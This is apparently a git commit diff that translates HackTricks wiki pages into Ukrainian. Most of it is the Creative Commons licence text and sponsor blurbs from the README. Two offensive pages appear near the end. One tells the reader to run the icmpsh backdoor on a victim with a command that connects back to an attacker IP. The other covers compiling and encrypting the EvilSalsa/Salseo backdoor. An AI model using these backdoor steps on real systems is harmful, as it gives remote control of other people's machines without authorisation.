Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:50:44 +00:00
parent 1178403e6b
commit 52d2f44341
297 changed files with 13185 additions and 16833 deletions

View File

@ -3,7 +3,7 @@
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Ліцензія Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Авторські права © Carlos Polop 2021. За винятком випадків, коли зазначено інше (зовнішня інформація, скопійована в книгу, належить оригінальним авторам), текст на <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> від Carlos Polop ліцензовано відповідно до <a href="https://creativecommons.org/licenses/by-nc/4.0/">Ліцензії Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>.
Ліцензія: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)<br>
Ліцензія, що читається людьми: https://creativecommons.org/licenses/by-nc/4.0/<br>
Ліцензія, що читається людиною: https://creativecommons.org/licenses/by-nc/4.0/<br>
Повні юридичні умови: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
Форматування: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
@ -17,13 +17,13 @@ Creative Commons Corporation (“Creative Commons”) не є юридичною
Публічні ліцензії Creative Commons надають стандартний набір умов, які творці та інші правовласники можуть використовувати для поширення оригінальних творів авторства та іншого матеріалу, що підлягає авторському праву та певним іншим правам, зазначеним у публічній ліцензії нижче. Наступні міркування є лише для інформаційних цілей, не є вичерпними і не є частиною наших ліцензій.
- **Міркування для ліцензіарів:** Наші публічні ліцензії призначені для використання тими, хто уповноважений надавати публіці дозвіл на використання матеріалу в способах, які інакше обмежені авторським правом та певними іншими правами. Наші ліцензії є безвідкличними. Ліцензіари повинні прочитати та зрозуміти умови ліцензії, яку вони обирають, перед її застосуванням. Ліцензіари також повинні забезпечити всі права, необхідні перед застосуванням наших ліцензій, щоб публіка могла повторно використовувати матеріал, як очікується. Ліцензіари повинні чітко позначити будь-який матеріал, що не підлягає ліцензії. Це включає інший матеріал з ліцензією CC або матеріал, що використовується відповідно до винятку або обмеження авторського права. [Більше міркувань для ліцензіарів](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Міркування для ліцензіарів:** Наші публічні ліцензії призначені для використання тими, хто уповноважений надавати публіці дозвіл на використання матеріалу в способах, які інакше обмежені авторським правом та певними іншими правами. Наші ліцензії є безвідкличними. Ліцензіари повинні прочитати та зрозуміти умови ліцензії, яку вони обирають, перед її застосуванням. Ліцензіари також повинні забезпечити всі необхідні права перед застосуванням наших ліцензій, щоб публіка могла повторно використовувати матеріал, як очікується. Ліцензіари повинні чітко позначити будь-який матеріал, що не підлягає ліцензії. Це включає інший матеріал, ліцензований CC, або матеріал, що використовується відповідно до винятку або обмеження авторського права. [Більше міркувань для ліцензіарів](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Міркування для публіки:** Використовуючи одну з наших публічних ліцензій, ліцензіар надає публіці дозвіл на використання ліцензованого матеріалу відповідно до зазначених умов. Якщо дозвіл ліцензіара не є необхідним з будь-якої причини наприклад, через будь-який застосовний виняток або обмеження авторського права тоді це використання не регулюється ліцензією. Наші ліцензії надають лише дозволи відповідно до авторського права та певних інших прав, які ліцензіар має право надавати. Використання ліцензованого матеріалу може все ще бути обмеженим з інших причин, включаючи те, що інші мають авторські або інші права на матеріал. Ліцензіар може робити спеціальні запити, такі як прохання про те, щоб усі зміни були позначені або описані. Хоча це не є обов'язковим за нашими ліцензіями, вам рекомендується поважати ці запити, де це розумно. [Більше міркувань для публіки](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Публічна ліцензія Creative Commons Attribution-NonCommercial 4.0 International
Використовуючи Ліцензовані Права (визначені нижче), Ви приймаєте і погоджуєтеся дотримуватися умов цієї Публічної ліцензії Creative Commons Attribution-NonCommercial 4.0 International ("Публічна ліцензія"). В тій мірі, в якій ця Публічна ліцензія може бути інтерпретована як контракт, Вам надаються Ліцензовані Права в обмін на Ваше прийняття цих умов, а Ліцензіар надає Вам такі права в обмін на вигоди, які Ліцензіар отримує від надання Ліцензованого Матеріалу відповідно до цих умов.
Використовуючи Ліцензовані Права (визначені нижче), Ви приймаєте і погоджуєтеся дотримуватися умов цієї Публічної ліцензії Creative Commons Attribution-NonCommercial 4.0 International ("Публічна ліцензія"). У тій мірі, в якій ця Публічна ліцензія може бути інтерпретована як контракт, Вам надаються Ліцензовані Права в обмін на Ваше прийняття цих умов, а Ліцензіар надає Вам такі права в обмін на вигоди, які Ліцензіар отримує від надання Ліцензованого Матеріалу відповідно до цих умов.
## Розділ 1 Визначення.
@ -31,23 +31,23 @@ a. **Адаптований Матеріал** означає матеріал,
b. **Ліцензія Адаптера** означає ліцензію, яку Ви застосовуєте до Ваших авторських прав та подібних прав у Ваших внесках до Адаптованого Матеріалу відповідно до умов цієї Публічної ліцензії.
c. **Авторське право та подібні права** означає авторське право та/або подібні права, тісно пов'язані з авторським правом, включаючи, без обмежень, виконання, трансляцію, звуковий запис та права Sui Generis на бази даних, незалежно від того, як ці права позначені або класифіковані. Для цілей цієї Публічної ліцензії права, зазначені в Розділі 2(b)(1)-(2), не є авторським правом та подібними правами.
c. **Авторське право та подібні права** означає авторське право та/або подібні права, тісно пов'язані з авторським правом, включаючи, без обмежень, виконання, трансляцію, звуковий запис та права Sui Generis Database, незалежно від того, як ці права позначені або класифіковані. Для цілей цієї Публічної ліцензії права, зазначені в Розділі 2(b)(1)-(2), не є авторським правом та подібними правами.
d. **Ефективні технологічні заходи** означають ті заходи, які, за відсутності належної влади, не можуть бути обійдені відповідно до законів, що виконують зобов'язання відповідно до статті 11 Договору про авторське право ВОІП, прийнятого 20 грудня 1996 року, та/або подібних міжнародних угод.
d. **Ефективні технологічні заходи** означають ті заходи, які, за відсутності належної влади, не можуть бути обійдені відповідно до законів, що виконують зобов'язання відповідно до статті 11 Договору про авторське право ВОІВ, прийнятого 20 грудня 1996 року, та/або подібних міжнародних угод.
e. **Винятки та обмеження** означають добросовісне використання, добросовісну угоду та/або будь-який інший виняток або обмеження авторського права та подібних прав, що застосовуються до Вашого використання Ліцензованого Матеріалу.
e. **Винятки та обмеження** означають добросовісне використання, добросовісну угоду та/або будь-який інший виняток або обмеження авторського права та подібних прав, які застосовуються до Вашого використання Ліцензованого Матеріалу.
f. **Ліцензований Матеріал** означає художній або літературний твір, базу даних або інший матеріал, до якого Ліцензіар застосував цю Публічну ліцензію.
g. **Ліцензовані Права** означають права, надані Вам відповідно до умов цієї Публічної ліцензії, які обмежуються всіма авторськими правами та подібними правами, що застосовуються до Вашого використання Ліцензованого Матеріалу і які Ліцензіар має право ліцензувати.
g. **Ліцензовані Права** означає права, надані Вам відповідно до умов цієї Публічної ліцензії, які обмежуються всіма авторськими правами та подібними правами, що застосовуються до Вашого використання Ліцензованого Матеріалу і які Ліцензіар має право ліцензувати.
h. **Ліцензіар** означає особу(и) або організацію(ї), що надає права відповідно до цієї Публічної ліцензії.
h. **Ліцензіар** означає особу(и) або організацію(ії), що надає права відповідно до цієї Публічної ліцензії.
i. **НеКомерційний** означає, що не призначений переважно для або не спрямований на комерційну вигоду або грошову компенсацію. Для цілей цієї Публічної ліцензії обмін Ліцензованим Матеріалом на інший матеріал, що підлягає авторському праву та подібним правам, шляхом цифрового обміну файлами або подібними засобами є НеКомерційним, за умови, що немає виплати грошової компенсації у зв'язку з обміном.
j. **Поділитися** означає надати матеріал публіці будь-якими засобами або процесами, які вимагають дозволу відповідно до Ліцензованих Прав, такими як відтворення, публічне відображення, публічне виконання, розподіл, розповсюдження, комунікація або імпорт, і зробити матеріал доступним для публіки, включаючи способи, якими члени публіки можуть отримати доступ до матеріалу з місця та в час, обраний ними.
j. **Поділитися** означає надати матеріал публіці будь-якими засобами або процесами, які вимагають дозволу відповідно до Ліцензованих Прав, такими як відтворення, публічне показування, публічне виконання, розподіл, розповсюдження, комунікація або імпорт, і зробити матеріал доступним для публіки, включаючи способи, якими члени публіки можуть отримати доступ до матеріалу з місця та в час, обраний ними.
k. **Права Sui Generis на бази даних** означають права, відмінні від авторського права, що виникають внаслідок Директиви 96/9/ЄС Європейського парламенту та Ради від 11 березня 1996 року про правову охорону баз даних, з поправками та/або наступними змінами, а також інші еквівалентні права в будь-якій точці світу.
k. **Права Sui Generis Database** означає права, інші ніж авторське право, що виникають внаслідок Директиви 96/9/EC Європейського парламенту та Ради від 11 березня 1996 року про правову охорону баз даних, з поправками та/або наступними змінами, а також інші еквівалентні права в будь-якій точці світу.
l. **Ви** означає особу або організацію, що здійснює Ліцензовані Права відповідно до цієї Публічної ліцензії. Ваш має відповідне значення.
@ -69,17 +69,17 @@ B. виробництва, відтворення та Поділу Адапто
A. **Пропозиція від Ліцензіара Ліцензований Матеріал.** Кожен отримувач Ліцензованого Матеріалу автоматично отримує пропозицію від Ліцензіара на здійснення Ліцензованих Прав відповідно до умов цієї Публічної ліцензії.
B. **Без обмежень для нижнього рівня.** Ви не можете пропонувати або накладати будь-які додаткові або інші умови на Ліцензований Матеріал, якщо це обмежує здійснення Ліцензованих Прав будь-яким отримувачем Ліцензованого Матеріалу.
B. **Без обмежень для нижнього рівня.** Ви не можете пропонувати або накладати будь-які додаткові або інші умови на, або застосовувати будь-які Ефективні Технологічні Заходи до, Ліцензованого Матеріалу, якщо це обмежує здійснення Ліцензованих Прав будь-яким отримувачем Ліцензованого Матеріалу.
6. **Без підтвердження.** Нічого в цій Публічній ліцензії не становить або не може бути витлумачено як дозвіл стверджувати або натякати на те, що Ви є, або що Ваше використання Ліцензованого Матеріалу пов'язане з, або спонсороване, підтверджене або надане офіційний статус Ліцензіаром або іншими особами, призначеними для отримання атрибуції, як зазначено в Розділі 3(a)(1)(A)(i).
6. **Без підтвердження.** Нічого в цій Публічній ліцензії не становить або не може бути витлумачено як дозвіл стверджувати або натякати на те, що Ви є, або що Ваше використання Ліцензованого Матеріалу є, пов'язаним з, або спонсорованим, підтвердженим або наданим офіційного статусу Ліцензіаром або іншими особами, призначеними для отримання атрибуції, як зазначено в Розділі 3(a)(1)(A)(i).
b. **_Інші права._**
1. Моральні права, такі як право на цілісність, не ліцензуються відповідно до цієї Публічної ліцензії, так само як і права на публічність, приватність та/або інші подібні особистісні права; однак, наскільки це можливо, Ліцензіар відмовляється від і/або погоджується не стверджувати жодних таких прав, що належать Ліцензіару, в обмеженій мірі, необхідній для того, щоб дозволити Вам здійснювати Ліцензовані Права, але не інакше.
1. Моральні права, такі як право на цілісність, не ліцензуються відповідно до цієї Публічної ліцензії, так само як і права на публічність, приватність та/або інші подібні особисті права; однак, наскільки це можливо, Ліцензіар відмовляється від і/або погоджується не стверджувати жодних таких прав, що належать Ліцензіару, в обмеженій мірі, необхідній для того, щоб дозволити Вам здійснювати Ліцензовані Права, але не інакше.
2. Патентні та торговельні права не ліцензуються відповідно до цієї Публічної ліцензії.
3. Наскільки це можливо, Ліцензіар відмовляється від будь-якого права на стягнення роялті з Вас за здійснення Ліцензованих Прав, безпосередньо або через колекційну організацію відповідно до будь-якої добровільної або відмовної статутної або обов'язкової ліцензійної схеми. У всіх інших випадках Ліцензіар прямо залишає за собою будь-яке право на стягнення таких роялті, включаючи випадки, коли Ліцензований Матеріал використовується не для НеКомерційних цілей.
3. Наскільки це можливо, Ліцензіар відмовляється від будь-якого права на стягнення роялті з Вас за здійснення Ліцензованих Прав, безпосередньо або через колективне товариство відповідно до будь-якої добровільної або відмовної статутної або обов'язкової ліцензійної схеми. У всіх інших випадках Ліцензіар прямо зберігає за собою будь-яке право на стягнення таких роялті, включаючи випадки, коли Ліцензований Матеріал використовується не для НеКомерційних цілей.
## Розділ 3 Умови ліцензії.
@ -99,7 +99,7 @@ iii. повідомлення, що посилається на цю Публі
iv. повідомлення, що посилається на відмову від гарантій;
v. URI або гіперпосилання на Ліцензований Матеріал, наскільки це розумно;
v. URI або гіперпосилання на Ліцензований Матеріал, наскільки це розумно можливо;
B. вказати, якщо Ви модифікували Ліцензований Матеріал, і зберегти вказівку на будь-які попередні модифікації; та
@ -107,17 +107,17 @@ C. вказати, що Ліцензований Матеріал ліцензо
2. Ви можете задовольнити умови в Розділі 3(a)(1) будь-яким розумним способом, виходячи з медіа, засобів і контексту, в якому Ви Поділяєте Ліцензований Матеріал. Наприклад, може бути розумно задовольнити умови, надаючи URI або гіперпосилання на ресурс, що містить необхідну інформацію.
3. Якщо Ліцензіар запитує, Ви повинні видалити будь-яку з інформації, вимаганої Розділом 3(a)(1)(A), наскільки це розумно.
3. Якщо Ліцензіар запитує, Ви повинні видалити будь-яку з інформацій, вимогами Розділу 3(a)(1)(A), наскільки це розумно можливо.
4. Якщо Ви Поділяєте Адаптований Матеріал, який Ви виробляєте, Ліцензія Адаптера, яку Ви застосовуєте, не повинна заважати отримувачам Адаптованого Матеріалу дотримуватися цієї Публічної ліцензії.
## Розділ 4 Права Sui Generis на бази даних.
## Розділ 4 Права Sui Generis Database.
Коли Ліцензовані Права включають Права Sui Generis на бази даних, що застосовуються до Вашого використання Ліцензованого Матеріалу:
Коли Ліцензовані Права включають Права Sui Generis Database, які застосовуються до Вашого використання Ліцензованого Матеріалу:
a. для уникнення сумнівів, Розділ 2(a)(1) надає Вам право витягувати, повторно використовувати, відтворювати та Поділитися всіма або значною частиною вмісту бази даних лише для НеКомерційних цілей;
b. якщо Ви включаєте всі або значну частину вмісту бази даних у базу даних, в якій Ви маєте Права Sui Generis на бази даних, тоді база даних, в якій Ви маєте Права Sui Generis на бази даних (але не її окремі вмісти), є Адаптованим Матеріалом; та
b. якщо Ви включаєте всі або значну частину вмісту бази даних у базу даних, в якій Ви маєте Права Sui Generis Database, тоді база даних, в якій Ви маєте Права Sui Generis Database (але не її окремі вмісти) є Адаптованим Матеріалом; та
c. Ви повинні дотримуватися умов у Розділі 3(a), якщо Ви Поділяєте всі або значну частину вмісту бази даних.
@ -125,15 +125,15 @@ c. Ви повинні дотримуватися умов у Розділі 3(a
## Розділ 5 Відмова від гарантій та обмеження відповідальності.
a. **Якщо не зазначено окремо Ліцензіаром, наскільки це можливо, Ліцензіар пропонує Ліцензований Матеріал "як є" і "як доступно", і не робить жодних заяв або гарантій будь-якого роду щодо Ліцензованого Матеріалу, будь то явні, імпліцитні, статутні або інші. Це включає, без обмежень, гарантії права власності, товарності, придатності для певної мети, ненарушення, відсутності прихованих або інших дефектів, точності або наявності чи відсутності помилок, незалежно від того, відомі вони чи відкриті. У випадках, коли відмови від гарантій не дозволені повністю або частково, ця відмова може не застосовуватися до Вас.**
a. **Якщо не зазначено окремо Ліцензіаром, наскільки це можливо, Ліцензіар пропонує Ліцензований Матеріал "як є" і "як доступно", і не робить жодних заяв або гарантій будь-якого роду щодо Ліцензованого Матеріалу, будь то явні, імпліцитні, статутні або інші. Це включає, без обмежень, гарантії права власності, товарності, придатності для конкретної мети, ненарушення, відсутності прихованих або інших дефектів, точності або наявності чи відсутності помилок, незалежно від того, відомих чи відкритих. Коли відмови від гарантій не дозволяються повністю або частково, ця відмова може не застосовуватися до Вас.**
b. **Наскільки це можливо, в жодному випадку Ліцензіар не несе відповідальності перед Вами за будь-якою юридичною теорією (включаючи, без обмежень, недбалість) або іншим чином за будь-які прямі, спеціальні, непрямі, випадкові, наслідкові, покарання, зразкові або інші збитки, витрати, витрати або збитки, що виникають внаслідок цієї Публічної ліцензії або використання Ліцензованого Матеріалу, навіть якщо Ліцензіар був попереджений про можливість таких збитків, витрат, витрат або збитків. У випадках, коли обмеження відповідальності не дозволені повністю або частково, це обмеження може не застосовуватися до Вас.**
b. **Наскільки це можливо, в жодному випадку Ліцензіар не несе відповідальності перед Вами за будь-якою юридичною теорією (включаючи, без обмежень, недбалість) або іншим чином за будь-які прямі, спеціальні, непрямі, випадкові, наслідкові, покарання, зразкові або інші втрати, витрати, витрати або збитки, що виникають внаслідок цієї Публічної ліцензії або використання Ліцензованого Матеріалу, навіть якщо Ліцензіар був попереджений про можливість таких втрат, витрат, витрат або збитків. Коли обмеження відповідальності не дозволяється повністю або частково, це обмеження може не застосовуватися до Вас.**
c. Відмова від гарантій та обмеження відповідальності, зазначені вище, повинні тлумачитися таким чином, щоб, наскільки це можливо, найбільш близько наближатися до абсолютної відмови та відмови від усієї відповідальності.
c. Відмова від гарантій та обмеження відповідальності, наведені вище, повинні тлумачитися таким чином, щоб, наскільки це можливо, найбільш близько наближатися до абсолютної відмови та відмови від усієї відповідальності.
## Розділ 6 Термін та припинення.
a. Ця Публічна ліцензія застосовується на термін авторських прав та подібних прав, ліцензованих тут. Однак, якщо Ви не дотримуєтеся цієї Публічної ліцензії, тоді Ваші права відповідно до цієї Публічної ліцензії автоматично припиняються.
a. Ця Публічна ліцензія застосовується на термін авторського права та подібних прав, ліцензованих тут. Однак, якщо Ви не дотримуєтеся цієї Публічної ліцензії, тоді Ваші права відповідно до цієї Публічної ліцензії автоматично припиняються.
b. Коли Ваше право на використання Ліцензованого Матеріалу припинилося відповідно до Розділу 6(a), воно відновлюється:
@ -143,7 +143,7 @@ b. Коли Ваше право на використання Ліцензова
Для уникнення сумнівів, цей Розділ 6(b) не впливає на будь-яке право, яке Ліцензіар може мати на пошук засобів правового захисту за Ваші порушення цієї Публічної ліцензії.
c. Для уникнення сумнівів, Ліцензіар також може пропонувати Ліцензований Матеріал на окремих умовах або припинити розповсюдження Ліцензованого Матеріалу в будь-який час; однак, це не призведе до припинення цієї Публічної ліцензії.
c. Для уникнення сумнівів, Ліцензіар також може пропонувати Ліцензований Матеріал на окремих умовах або зупинити розповсюдження Ліцензованого Матеріалу в будь-який час; однак, це не призведе до припинення цієї Публічної ліцензії.
d. Розділи 1, 5, 6, 7 та 8 залишаються в силі після припинення цієї Публічної ліцензії.
@ -161,7 +161,7 @@ b. Наскільки це можливо, якщо будь-яке положе
c. Жоден термін або умова цієї Публічної ліцензії не буде відмовлено, і жодне невиконання не буде погоджено, якщо це не буде явно погоджено Ліцензіаром.
d. Нічого в цій Публічній ліцензії не становить або не може бути витлумачено як обмеження або відмова від будь-яких привілеїв та імунітетів, що застосовуються до Ліцензіара або Вас, включаючи від юридичних процесів будь-якої юрисдикції або влади.
d. Нічого в цій Публічній ліцензії не становить або не може бути витлумачено як обмеження або відмова від будь-яких привілеїв та імунітетів, які застосовуються до Ліцензіара або Вас, включаючи від юридичних процесів будь-якої юрисдикції або влади.
```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

View File

@ -1,15 +1,15 @@
# HackTricks
Reading time: {{ #reading_time }}
Час читання: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks логотипи та анімаційний дизайн від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Логотипи Hacktricks та анімаційний дизайн від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що завгодно, що я навчився з CTF, реальних додатків, читання досліджень та новин.**
Щоб почати, слідуйте цій сторінці, де ви знайдете **типовий процес**, який **вам слід дотримуватися під час пентестингу** одного або кількох **машин:**
Щоб почати, слідуйте цій сторінці, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час пентестингу** одного або кількох **машин:**
{{#ref}}
generic-methodologies-and-resources/pentesting-methodology.md
@ -21,7 +21,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган - **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють власні хакерські інструменти, щоб **пропонувати кілька цінних послуг з кібербезпеки**, таких як пентестинг, червоні команди та навчання.
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють власні хакерські інструменти, щоб **пропонувати кілька цінних послуг з кібербезпеки**, таких як пентестинг, червоні команди та навчання.
Ви можете перевірити їхній **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань** цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
@ -43,9 +43,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** - це **перша в Європі** платформа етичного хакінгу та **баг-бонті.**
**Intigriti** - це **перша** етична хакерська та **платформа для винагород за вразливості** в **Європі**.
**Порада щодо баг-бонті**: **зареєструйтеся** на **Intigriti**, преміум **платформі баг-бонті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
**Порада щодо винагород за вразливості**: **зареєструйтесь** на **Intigriti**, преміум **платформі для винагород за вразливості, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -68,23 +68,23 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!
- **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
- **Новини про хакінг в реальному часі:** Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
- **Останні оголошення:** Будьте в курсі нових баг-бонті та важливих оновлень платформи
- **Останні оголошення:** Будьте в курсі нових винагород за вразливості та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами сьогодні!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Необхідний набір інструментів для пентестингу
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Необхідний набір інструментів для тестування на проникнення
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -109,7 +109,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Вивчайте технології та навички, необхідні для проведення досліджень вразливостей, пентестингу та реверс-інжинірингу для захисту мобільних додатків та пристроїв. **Опануйте безпеку iOS та Android** через наші курси на вимогу та **отримайте сертифікат**:
Вивчайте технології та навички, необхідні для проведення досліджень вразливостей, тестування на проникнення та реверс-інжинірингу для захисту мобільних додатків та пристроїв. **Опануйте безпеку iOS та Android** через наші курси на вимогу та **отримайте сертифікат**:
{% embed url="https://academy.8ksec.io/" %}
@ -121,7 +121,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; Пентестинг, **Аудити** безпеки, Тренінги з обізнаності, Фішингові кампанії, Огляд коду, Розробка експлойтів, Аутсорсинг експертів з безпеки та багато іншого.
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; пентестинг, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, рецензії коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, на їхньому сайті зазначено: "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**сайтом**](https://websec.nl/en/) та [**блогом**](https://websec.nl/blog/)!

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -10,7 +10,7 @@
- Перевірити можливу [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
- Спробувати [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
## Отримання даних
## Збір даних
Створіть [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) і витягніть його за допомогою [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
Завантажте бекдор з: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# Клієнтська сторона
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
Виконайте скрипт: **run.sh**
**Якщо ви отримали помилку, спробуйте змінити рядки:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**Для:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Сторона жертви**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
Завантажте **icmpsh.exe** на жертву та виконайте:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## Компіляція бінарних файлів
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
Завантажте вихідний код з github і скомпілюйте **EvilSalsa** та **SalseoLoader**. Вам потрібно буде встановити **Visual Studio** для компіляції коду.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
Скомпіліруйте ці проекти для архітектури Windows, на якій ви плануєте їх використовувати (якщо Windows підтримує x64, компілюйте їх для цієї архітектури).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
Ви можете **вибрати архітектуру** в Visual Studio у **лівій вкладці "Build"** у **"Platform Target".**
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*Якщо ви не можете знайти ці опції, натисніть на **"Project Tab"** і потім на **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Потім збудуйте обидва проекти (Build -> Build Solution) (У логах з'явиться шлях до виконуваного файлу):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## Підготовка бекдору
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
По-перше, вам потрібно буде закодувати **EvilSalsa.dll.** Для цього ви можете використовувати python-скрипт **encrypterassembly.py** або скомпілювати проект **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
